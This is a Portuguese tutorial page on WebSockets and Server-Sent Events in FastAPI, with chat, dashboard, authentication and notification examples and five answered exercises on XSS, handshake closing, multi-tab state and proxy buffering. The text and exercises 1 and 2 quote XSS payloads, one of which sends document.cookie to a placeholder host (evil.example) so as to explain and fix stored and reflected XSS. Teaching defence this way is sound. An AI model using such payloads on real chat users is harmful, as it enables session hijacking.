WebSockets e Comunicação em Tempo Real em Python

WebSockets e Comunicação em Tempo Real em Python

WebSockets e SSE com FastAPI, do eco ao chat e às notificações, com as falhas que o exemplo simples esconde: XSS pelo innerHTML e pelo nome da sala, o código de fechamento que não chega antes do accept e a segunda aba que derruba a primeira em silêncio.
Python

• • 17 min de leitura

HTTP é excelente para o modelo requisição-resposta — o cliente pergunta, o servidor responde. Mas e quando o servidor precisa notificar o cliente espontaneamente? Notificações em tempo real, chats, dashboards de métricas ao vivo, jogos multiplayer — esses casos exigem uma conexão persistente e bidirecional. WebSockets resolvem exatamente esse problema, e Python tem suporte excelente a eles via FastAPI, Flask-SocketIO e a biblioteca standalone websockets.

O Protocolo WebSocket

WebSocket começa com um handshake HTTP e depois eleva a conexão para um canal full-duplex persistente:

Cliente                         Servidor
   |                               |
   |  GET /ws HTTP/1.1             |
   |  Upgrade: websocket    ──────►|
   |  Connection: Upgrade          |
   |                               |
   |  HTTP/1.1 101 Switching  ◄────|
   |  Protocols                    |
   |                               |
   |◄──── mensagem a qualquer hora─|
   |───── mensagem a qualquer hora►|
   |                               |
   |  (conexão persiste)           |

Diferente de HTTP:

  • Conexão persistente — não há overhead de handshake por mensagem
  • Full-duplex — ambos os lados podem enviar a qualquer momento
  • Baixa latência — ideal para dados em tempo real

WebSockets com FastAPI

from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from fastapi.responses import HTMLResponse

app = FastAPI()


# Echo simples — devolve o que recebe
@app.websocket("/ws/echo")
async def echo(websocket: WebSocket):
    await websocket.accept()
    try:
        while True:
            mensagem = await websocket.receive_text()
            await websocket.send_text(f"Eco: {mensagem}")
    except WebSocketDisconnect:
        print("Cliente desconectou.")


# Testando no browser
@app.get("/teste-echo", response_class=HTMLResponse)
async def pagina_teste():
    return """
    <!DOCTYPE html>
    <html>
    <body>
        <input id="msg" type="text" placeholder="Mensagem...">
        <button onclick="enviar()">Enviar</button>
        <div id="log"></div>
        <script>
            // wss em páginas https; host da própria página, não localhost fixo
            const proto = location.protocol === "https:" ? "wss" : "ws";
            const ws    = new WebSocket(`${proto}://${location.host}/ws/echo`);
            const log = document.getElementById("log");

            function registrar(texto) {
                const p = document.createElement("p");
                p.textContent = texto;   // textContent: o texto nunca vira HTML
                log.appendChild(p);
            }

            ws.onmessage = (e) => registrar(`← ${e.data}`);

            function enviar() {
                const msg = document.getElementById("msg").value;
                ws.send(msg);
                registrar(`→ ${msg}`);
            }
        </script>
    </body>
    </html>
    """

Gerenciador de Conexões: Chat em Tempo Real

from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from fastapi.responses import HTMLResponse
from typing import Dict, Set
import json
from datetime import datetime


class GerenciadorConexoes:
    """Gerencia conexões WebSocket ativas."""

    def __init__(self):
        # sala → conjunto de websockets
        self._salas: Dict[str, Set[WebSocket]] = {}

    async def conectar(self, websocket: WebSocket, sala: str):
        await websocket.accept()
        if sala not in self._salas:
            self._salas[sala] = set()
        self._salas[sala].add(websocket)
        print(f"[{sala}] Nova conexão. Total: {len(self._salas[sala])}")

    def desconectar(self, websocket: WebSocket, sala: str):
        if sala in self._salas:
            self._salas[sala].discard(websocket)
            if not self._salas[sala]:
                del self._salas[sala]

    async def enviar_para(self, websocket: WebSocket, dados: dict):
        """Envia mensagem para uma conexão específica."""
        await websocket.send_text(json.dumps(dados, ensure_ascii=False))

    async def broadcast(self, sala: str, dados: dict, excluir: WebSocket = None):
        """Envia mensagem para todos na sala."""
        if sala not in self._salas:
            return
        mensagem = json.dumps(dados, ensure_ascii=False)
        desconectados = set()

        for ws in self._salas[sala].copy():
            if ws == excluir:
                continue
            try:
                await ws.send_text(mensagem)
            except Exception:
                desconectados.add(ws)

        for ws in desconectados:
            self._salas[sala].discard(ws)

    def usuarios_na_sala(self, sala: str) -> int:
        return len(self._salas.get(sala, set()))


gerenciador = GerenciadorConexoes()


@app.websocket("/ws/chat/{sala}/{usuario}")
async def chat(websocket: WebSocket, sala: str, usuario: str):
    await gerenciador.conectar(websocket, sala)

    # Notifica todos que o usuário entrou
    await gerenciador.broadcast(sala, {
        "tipo":     "sistema",
        "mensagem": f"{usuario} entrou na sala.",
        "usuarios": gerenciador.usuarios_na_sala(sala),
        "hora":     datetime.now().strftime("%H:%M")
    })

    try:
        while True:
            dados = await websocket.receive_text()

            try:
                payload = json.loads(dados)
            except json.JSONDecodeError:
                payload = {"mensagem": dados}

            # Broadcast para todos na sala incluindo o remetente
            await gerenciador.broadcast(sala, {
                "tipo":     "mensagem",
                "usuario":  usuario,
                "mensagem": payload.get("mensagem", ""),
                "hora":     datetime.now().strftime("%H:%M:%S")
            })

    except WebSocketDisconnect:
        gerenciador.desconectar(websocket, sala)
        await gerenciador.broadcast(sala, {
            "tipo":     "sistema",
            "mensagem": f"{usuario} saiu da sala.",
            "usuarios": gerenciador.usuarios_na_sala(sala),
            "hora":     datetime.now().strftime("%H:%M")
        })

Frontend do Chat

import html   # escape de texto para HTML (json já foi importado acima)


@app.get("/chat/{sala}", response_class=HTMLResponse)
async def pagina_chat(sala: str):
    # sala vem da URL: escapada no HTML e serializada como JSON no JavaScript
    sala_html = html.escape(sala)
    sala_js   = json.dumps(sala).replace("<", "\\u003c")   # nem "</script>" escapa
    return f"""
    <!DOCTYPE html>
    <html lang="pt-BR">
    <head>
        <meta charset="UTF-8">
        <title>Chat — {sala_html}</title>
        <style>
            body        {{ font-family: sans-serif; max-width: 600px; margin: 2rem auto; }}
            #mensagens  {{ height: 400px; overflow-y: auto; border: 1px solid #ccc;
                           padding: 1rem; margin-bottom: 1rem; border-radius: 8px; }}
            .sistema    {{ color: #888; font-style: italic; font-size: .9rem; }}
            .propria    {{ text-align: right; }}
            .propria span  {{ background: #0084ff; color: white; }}
            .outra span    {{ background: #f0f0f0; }}
            span        {{ display: inline-block; padding: .4rem .8rem;
                           border-radius: 16px; margin: .2rem 0; }}
            #entrada    {{ display: flex; gap: .5rem; }}
            input       {{ flex: 1; padding: .5rem; border-radius: 4px; border: 1px solid #ccc; }}
            button      {{ padding: .5rem 1rem; background: #0084ff; color: white;
                           border: none; border-radius: 4px; cursor: pointer; }}
            #status     {{ font-size: .8rem; color: #888; margin-bottom: .5rem; }}
        </style>
    </head>
    <body>
        <h2>Sala: {sala_html}</h2>
        <div id="status">Conectando...</div>
        <div id="mensagens"></div>
        <div id="entrada">
            <input id="texto" placeholder="Digite sua mensagem..." onkeydown="tecla(event)">
            <button onclick="enviar()">Enviar</button>
        </div>

        <script>
            const usuario  = prompt("Seu nome:") || "Anônimo";
            const msgs     = document.getElementById("mensagens");
            const status   = document.getElementById("status");
            const sala     = {sala_js};
            const proto    = location.protocol === "https:" ? "wss" : "ws";
            const ws       = new WebSocket(
                `${{proto}}://${{location.host}}/ws/chat/${{encodeURIComponent(sala)}}/${{encodeURIComponent(usuario)}}`
            );

            ws.onopen = () => {{
                status.textContent = `Conectado como ${{usuario}}`;
                status.style.color = "green";
            }};

            ws.onclose = () => {{
                status.textContent = "Desconectado.";
                status.style.color = "red";
            }};

            ws.onmessage = (e) => {{
                const dados = JSON.parse(e.data);
                const div   = document.createElement("div");

                if (dados.tipo === "sistema") {{
                    div.className = "sistema";
                    div.textContent = `[${{dados.hora}}] ${{dados.mensagem}}`;
                }} else {{
                    const propria = dados.usuario === usuario;
                    div.className = propria ? "propria" : "outra";
                    // nada do que outro usuário mandou passa por innerHTML
                    const balao = document.createElement("span");
                    const autor = document.createElement("b");
                    autor.textContent = propria ? "Você" : dados.usuario;
                    const hora  = document.createElement("small");
                    hora.textContent = ` ${{dados.hora}}`;
                    balao.append(autor, `: ${{dados.mensagem}}`, hora);
                    div.appendChild(balao);
                }}

                msgs.appendChild(div);
                msgs.scrollTop = msgs.scrollHeight;
            }};

            function enviar() {{
                const texto = document.getElementById("texto");
                if (!texto.value.trim()) return;
                ws.send(JSON.stringify({{ mensagem: texto.value }}));
                texto.value = "";
            }}

            function tecla(e) {{
                if (e.key === "Enter") enviar();
            }}
        </script>
    </body>
    </html>
    """

O front-end do chat é o ponto em que o exemplo mais simples vira falha de segurança. Montar a mensagem com innerHTML faz o navegador interpretar como HTML o que outro usuário digitou: uma mensagem <img src=x onerror=alert(1)> chega intacta pelo servidor — medido — e executa código no navegador de todos na sala. Por isso cada pedaço entra com textContent. O nome da sala vem da URL, e inserido cru no HTML bastava um link com marcação no lugar do nome para executar script em quem clicasse; ele agora passa por html.escape no HTML e por JSON, com o < escapado, dentro do <script>. E o endereço do WebSocket sai de location.host, com wss quando a página é HTTPS — um ws://localhost:8000 fixo só funciona na máquina de quem escreveu.

Server-Sent Events: Alternativa Unidirecional

Para casos em que apenas o servidor precisa enviar dados ao cliente, SSE é mais simples que WebSockets:

from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import asyncio
import json
from datetime import datetime
import random


async def gerador_metricas():
    """Gera métricas de sistema em tempo real."""
    while True:
        dados = {
            "timestamp": datetime.now().isoformat(),
            "cpu":       round(random.uniform(10, 90), 1),
            "memoria":   round(random.uniform(40, 80), 1),
            "requests":  random.randint(50, 500),
        }
        yield f"data: {json.dumps(dados)}\n\n"
        await asyncio.sleep(1)


@app.get("/metricas/stream")
async def stream_metricas():
    return StreamingResponse(
        gerador_metricas(),
        media_type="text/event-stream",
        headers={
            "Cache-Control":               "no-cache",
            "X-Accel-Buffering":           "no",
            "Access-Control-Allow-Origin": "*"
        }
    )


@app.get("/dashboard", response_class=HTMLResponse)
async def dashboard():
    return """
    <!DOCTYPE html>
    <html lang="pt-BR">
    <head>
        <meta charset="UTF-8">
        <title>Dashboard em Tempo Real</title>
        <style>
            body   { font-family: monospace; padding: 2rem; background: #111; color: #0f0; }
            .card  { border: 1px solid #0f0; padding: 1rem; margin: .5rem;
                     display: inline-block; min-width: 150px; }
            .valor { font-size: 2rem; font-weight: bold; }
        </style>
    </head>
    <body>
        <h2>📊 Sistema em Tempo Real</h2>
        <div class="card"><div>CPU</div><div class="valor" id="cpu">—</div></div>
        <div class="card"><div>Memória</div><div class="valor" id="mem">—</div></div>
        <div class="card"><div>Requests/s</div><div class="valor" id="req">—</div></div>
        <div id="hora"></div>

        <script>
            const source = new EventSource("/metricas/stream");
            source.onmessage = (e) => {
                const d = JSON.parse(e.data);
                document.getElementById("cpu").textContent = d.cpu + "%";
                document.getElementById("mem").textContent = d.memoria + "%";
                document.getElementById("req").textContent = d.requests;
                document.getElementById("hora").textContent = d.timestamp;
            };
            source.onerror = () => {
                console.log("Reconectando...");
            };
        </script>
    </body>
    </html>
    """

WebSockets com Autenticação

from datetime import datetime

from fastapi import WebSocket, WebSocketDisconnect, Query
from jose import JWTError, jwt

# SECRET_KEY: a mesma do artigo de autenticação, vinda do ambiente


async def autenticar_ws(
    websocket: WebSocket,
    token: str = Query(...)
) -> dict | None:
    """Autentica conexão WebSocket via token JWT na query string."""
    try:
        return jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except JWTError:
        # aceitar antes de fechar: fechado antes do accept, o servidor recusa o
        # handshake com HTTP 403 e o código 4001 nunca chega ao navegador
        await websocket.accept()
        await websocket.close(code=4001, reason="Token inválido.")
        return None


@app.websocket("/ws/protegido")
async def ws_protegido(
    websocket: WebSocket,
    token: str = Query(...)
):
    usuario = await autenticar_ws(websocket, token)
    if not usuario:
        return

    await websocket.accept()
    await websocket.send_json({
        "tipo":     "conexao",
        "mensagem": f"Olá, {usuario.get('email')}!",
    })

    try:
        while True:
            dados = await websocket.receive_json()
            await websocket.send_json({
                "eco":      dados,
                "usuario":  usuario.get("email"),
                "hora":     datetime.now().isoformat()
            })
    except WebSocketDisconnect:
        print(f"Usuário {usuario.get('email')} desconectou.")

Fechar a conexão antes do accept() não envia o código 4001 ao cliente: o servidor recusa o próprio handshake com HTTP 403, e o navegador recebe apenas um fechamento genérico, sem motivo. Medido no uvicorn, com o accept() antes do close() o cliente recebeu 4001 Token inválido. — o TestClient mostra 4001 nos dois casos, o que torna o erro invisível nos testes. O token na query string é uma concessão ao navegador, cuja API de WebSocket não permite enviar cabeçalhos; como a URL vai para os logs, prefira um token de vida curta, emitido só para abrir a conexão, ou autenticação por cookie.

Exemplo Completo: Notificações em Tempo Real

from fastapi import FastAPI, WebSocket, WebSocketDisconnect, BackgroundTasks
from typing import Dict, List
import asyncio
import json
from datetime import datetime
from dataclasses import dataclass, field, replace


@dataclass
class Notificacao:
    tipo:      str
    titulo:    str
    mensagem:  str
    hora:      str = field(default_factory=lambda: datetime.now().strftime("%H:%M:%S"))
    lida:      bool = False


class SistemaNotificacoes:
    def __init__(self):
        # um usuário pode ter várias abas abertas: um conjunto por usuário
        self._conexoes:     Dict[str, set[WebSocket]]  = {}
        self._historico:    Dict[str, List[Notificacao]] = {}

    async def registrar(self, usuario_id: str, websocket: WebSocket):
        await websocket.accept()
        self._conexoes.setdefault(usuario_id, set()).add(websocket)
        self._historico.setdefault(usuario_id, [])
        print(f"Usuário {usuario_id} conectado.")

        # Envia notificações não lidas
        nao_lidas = [n for n in self._historico[usuario_id] if not n.lida]
        if nao_lidas:
            await websocket.send_json({
                "tipo":          "historico",
                "notificacoes":  [vars(n) for n in nao_lidas]
            })

    def desregistrar(self, usuario_id: str, websocket: WebSocket):
        abas = self._conexoes.get(usuario_id, set())
        abas.discard(websocket)          # remove só ESTA aba
        if not abas:
            self._conexoes.pop(usuario_id, None)
        print(f"Usuário {usuario_id}: aba desconectada.")

    async def notificar(self, usuario_id: str, notificacao: Notificacao):
        self._historico.setdefault(usuario_id, []).append(notificacao)

        for ws in list(self._conexoes.get(usuario_id, set())):
            try:
                await ws.send_json({
                    "tipo":         "notificacao",
                    "notificacao":  vars(notificacao)
                })
                notificacao.lida = True
            except Exception:
                self.desregistrar(usuario_id, ws)

    async def broadcast_todos(self, notificacao: Notificacao):
        for usuario_id in list(self._conexoes.keys()):
            # uma cópia por usuário: senão o "lida" de um vale para todos
            await self.notificar(usuario_id, replace(notificacao))


sistema = SistemaNotificacoes()


@app.websocket("/ws/notificacoes/{usuario_id}")
async def notificacoes(websocket: WebSocket, usuario_id: str):
    await sistema.registrar(usuario_id, websocket)
    try:
        while True:
            # Mantém a conexão viva recebendo pings do cliente
            dados = await websocket.receive_text()
            if dados == "ping":
                await websocket.send_text("pong")
    except WebSocketDisconnect:
        sistema.desregistrar(usuario_id, websocket)


@app.post("/notificar/{usuario_id}")
async def enviar_notificacao(
    usuario_id: str,
    background_tasks: BackgroundTasks,
    titulo: str = "Nova notificação",
    mensagem: str = "Você tem uma nova mensagem."
):
    notif = Notificacao(
        tipo="info",
        titulo=titulo,
        mensagem=mensagem
    )
    background_tasks.add_task(sistema.notificar, usuario_id, notif)
    return {"status": "enviado", "usuario": usuario_id}


@app.post("/broadcast")
async def broadcast(
    background_tasks: BackgroundTasks,
    titulo: str = "Aviso",
    mensagem: str = "Mensagem para todos."
):
    notif = Notificacao(tipo="aviso", titulo=titulo, mensagem=mensagem)
    background_tasks.add_task(sistema.broadcast_todos, notif)
    return {"status": "broadcast enviado"}

O sistema guarda um conjunto de conexões por usuário porque as pessoas abrem mais de uma aba. Com uma conexão só por usuario_id, a segunda aba substituía a primeira e, quando a primeira fechava, o desregistrar apagava o usuário inteiro: medido, a aba que continuava aberta deixava de receber qualquer notificação. O mesmo raciocínio explica o replace(notificacao) no broadcast: com um único objeto compartilhado, marcar como lida para um usuário marcava para todos. E tudo isso vive na memória de um processo — com mais de um worker, cada um conhece só as próprias conexões, e as mensagens precisam passar por um Redis Pub/Sub ou similar.

WebSocket vs SSE vs Polling

Característica WebSocket SSE Long Polling
Direção Bidirecional Servidor → Cliente Servidor → Cliente
Protocolo WS/WSS HTTP HTTP
Reconexão automática Manual Nativa Manual
Suporte a proxies Às vezes problemático Excelente Excelente
Complexidade Média Baixa Baixa
Ideal para Chat, jogos, colaboração Feeds, notificações, dashboards Compatibilidade máxima

WebSocket, SSE e polling respondem à mesma necessidade — o servidor falar sem ser perguntado — com custos diferentes. O WebSocket abre um canal persistente nos dois sentidos a partir de um handshake HTTP, e serve a chats, jogos e edição colaborativa; o SSE é HTTP comum, só do servidor para o cliente, com reconexão automática pelo próprio navegador, e basta para painéis e feeds; o polling é o último recurso, quando nada mais passa pela rede. No FastAPI, um WebSocket é uma rota com accept, um laço de receive e send, e um except WebSocketDisconnect para limpar o que ficou registrado. O lado do navegador, com a API nativa e o React, está em WebSockets e Comunicação em Tempo Real, na trilha de Javascript.

O que separa o exemplo de sala de aula de um sistema que aguenta usuários de verdade está nas bordas. Tudo o que um cliente envia chega aos outros, e por isso entra na página como texto, nunca como HTML. A autenticação acontece antes da conversa, com o accept dado antes do fechamento quando o cliente precisa saber o motivo da recusa. Cada usuário pode ter várias conexões, uma por aba, e o registro precisa remover só a que caiu. E todo esse estado vive na memória de um processo: com mais de um worker, as mensagens passam a depender de um intermediário, como o Redis Pub/Sub.

Fontes e leituras recomendadas

Exercícios

Exercício 1

Num chat corporativo feito a partir de um tutorial, um usuário manda a mensagem <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">. Minutos depois, a equipe de segurança detecta sessões de vários colegas sendo usadas de outro país. O servidor não foi invadido e só repassa as mensagens. Explique o ataque e corrija o front-end e o servidor.

Ver resposta

✓ Resposta: É XSS armazenado no tempo real. O servidor repassa o texto sem alterar — medido, a marcação chegou intacta ao outro cliente — e o front-end monta cada mensagem com innerHTML, então o navegador de cada participante interpreta o texto como HTML. A imagem inexistente dispara o onerror, e o JavaScript roda com as permissões da página: lê document.cookie e envia para fora. Todos os que estavam na sala executaram o código no instante em que a mensagem chegou. A correção principal é no front-end: tudo o que veio de outro usuário entra com textContent ou createTextNode, nunca com innerHTML, como no exemplo corrigido do artigo. Em camadas adicionais: o cookie de sessão deve ter HttpOnly, que o esconde do JavaScript e teria impedido este roubo específico; uma Content-Security-Policy sem 'unsafe-inline' bloqueia o onerror embutido; e o servidor pode limitar o tamanho da mensagem e recusar o que não for texto. Escapar no servidor não é a correção principal, porque o mesmo dado pode ir para contextos diferentes — HTML, atributo, JSON — e cada um tem seu escape; quem sabe o contexto é quem insere.

Exercício 2

Uma rota /chat/{sala} devolve a página do chat com o nome da sala no título e no JavaScript, montada com f-string. Alguém divulga no grupo da empresa um link para /chat/ seguido de um nome de sala cheio de marcação, e quem clica tem a sessão comprometida — sem que nenhuma mensagem tenha sido enviada. Como isso é possível, e como inserir o valor com segurança nos dois lugares?

Ver resposta

✓ Resposta: É XSS refletido: o valor vem da URL, volta na resposta e o navegador o interpreta. Medido com o exemplo original, uma sala chamada <img src=x onerror=alert(1)> aparecia crua no HTML da página e dentro do código JavaScript. O atacante não precisa enviar nada ao chat; basta alguém confiável clicar no link, e o script roda com a identidade de quem clicou. Cada contexto tem o seu escape. No HTML — título e <h2> — html.escape(sala) troca <, >, & e aspas por entidades. Dentro do <script>, o valor entra como literal JSON com json.dumps(sala), que cuida das aspas e das barras; mas o JSON não escapa </script>, que encerraria o bloco de script no meio da string, e por isso o exemplo corrigido troca também o < por <. Na URL do WebSocket, encodeURIComponent. Com isso, a mesma sala maliciosa não deixou nenhum <img literal na página. Em projetos maiores, a saída é não montar HTML com f-string: um motor de templates com escape automático, como o Jinja2, faz o primeiro caso por padrão, e o filtro tojson faz o segundo.

Exercício 3

Um endpoint WebSocket autentica pelo token da query string e, quando o token é inválido, chama await websocket.close(code=4001, reason="Token inválido.") antes do accept(). Os testes com o TestClient confirmam o 4001. Em produção, o front-end nunca consegue distinguir "token expirado" de "servidor fora do ar": nos dois casos recebe um fechamento genérico. Explique a diferença entre o teste e a produção e corrija.

Ver resposta

✓ Resposta: Antes do accept(), a conexão ainda não é WebSocket: é uma requisição HTTP pedindo upgrade. Fechar nesse momento faz o servidor recusar o handshake com uma resposta HTTP 403, e o código 4001 e o motivo simplesmente não existem nessa resposta. Medido no uvicorn, o cliente recebeu server rejected WebSocket connection: HTTP 403; no navegador, isso aparece como um evento close com código 1006, o mesmo de uma queda de rede. O TestClient não passa pelo servidor HTTP real e entrega o 4001 nos dois casos, por isso o teste não pegou. A correção, quando o cliente precisa saber o motivo, é aceitar e então fechar: await websocket.accept() seguido de await websocket.close(code=4001, reason="Token inválido.") — com isso, o mesmo cliente recebeu 4001 Token inválido.. Os códigos de 4000 a 4999 são reservados às aplicações, e o front-end pode então renovar o token no 4001 e reconectar, em vez de insistir com o token vencido. Recusar no handshake continua válido quando o motivo não importa ao cliente; o que não pode é contar com um código que nunca é enviado. E o teste que importa aqui é contra o uvicorn de verdade.

Exercício 4

Num sistema de notificações, cada usuário tem uma entrada _conexoes[usuario_id] = websocket. Os usuários relatam que "às vezes as notificações param de chegar até dar F5". Os logs mostram, antes de cada caso, o mesmo usuário conectando duas vezes e desconectando uma. Reproduza o raciocínio e proponha a estrutura certa.

Ver resposta

✓ Resposta: Duas abas, uma chave. Ao abrir a segunda aba, o registro sobrescreve a conexão da primeira com a da segunda — a primeira continua aberta, mas o sistema já não sabe dela. Quando a primeira aba é fechada, o except WebSocketDisconnect chama desregistrar(usuario_id), que remove a chave inteira, e com ela a conexão da segunda aba, que continua aberta e agora não recebe nada. Medido com o exemplo original: depois de fechar a aba 1, o usuário não estava mais registrado, e a notificação seguinte ficou no histórico como não lida, sem chegar à aba 2. O F5 "resolve" porque registra de novo. A estrutura certa é um conjunto de conexões por usuário, e a remoção recebe a conexão específica: desregistrar(usuario_id, websocket) descarta só aquela, e apaga a chave apenas quando o conjunto esvazia. O envio percorre todas as conexões do usuário, removendo as que falharem. Com essa mudança, a aba 2 recebeu a notificação depois do fechamento da aba 1. O mesmo cuidado vale para qualquer recurso indexado por usuário — sessões, locks, filas —, porque a relação quase nunca é de um para um.

Exercício 5

Um painel de métricas usa SSE e funciona bem em desenvolvimento. Em produção, atrás de um nginx, os valores chegam em rajadas a cada 30 ou 40 segundos, em vez de um por segundo. Em outro cenário, a mesma aplicação é escalada para quatro workers do uvicorn, e o chat, feito com WebSocket, passa a entregar só parte das mensagens. Explique os dois problemas.

Ver resposta

✓ Resposta: O primeiro é buffer de proxy. O nginx, por padrão, acumula a resposta do servidor antes de repassá-la ao cliente, o que é ótimo para páginas comuns e fatal para um fluxo de eventos: as mensagens de 1 segundo ficam retidas até o buffer encher, e chegam juntas. O cabeçalho X-Accel-Buffering: no, que o exemplo do artigo já envia, desliga esse buffer para a resposta; se o problema persiste, a configuração do nginx tem proxy_buffering off para a rota, e vale conferir também compressão e CDNs no caminho, que fazem o mesmo acúmulo. Um proxy_read_timeout maior que o intervalo entre eventos evita que a conexão seja cortada por inatividade. O segundo é estado em memória: cada worker é um processo separado, com o seu próprio GerenciadorConexoes. Um usuário conectado ao worker 1 e outro ao worker 3 estão na "mesma sala" só no nome; a mensagem de um é distribuída apenas às conexões que o worker 1 conhece. Com quatro workers, cada mensagem alcança, em média, só as conexões de um deles. A saída é um intermediário compartilhado — o Redis Pub/Sub é o mais comum: cada worker publica as mensagens que recebe num canal da sala e assina esse canal para repassar às suas conexões locais.

Comentários

Mais em Python

A História do Python e os Primeiros Passos
A História do Python e os Primeiros Passos

De um projeto de férias de Natal em 1989 à linguagem que hoje sai em versão…

Templates HTML com Jinja2 e Deploy com Docker
Templates HTML com Jinja2 e Deploy com Docker

Jinja2 no Flask e no FastAPI, e o deploy com Docker e Compose: os filtros que…

MySQL, MariaDB, PostgreSQL e MongoDB
MySQL, MariaDB, PostgreSQL e MongoDB

MySQL, MariaDB, PostgreSQL e MongoDB a partir do Python, com os drivers de…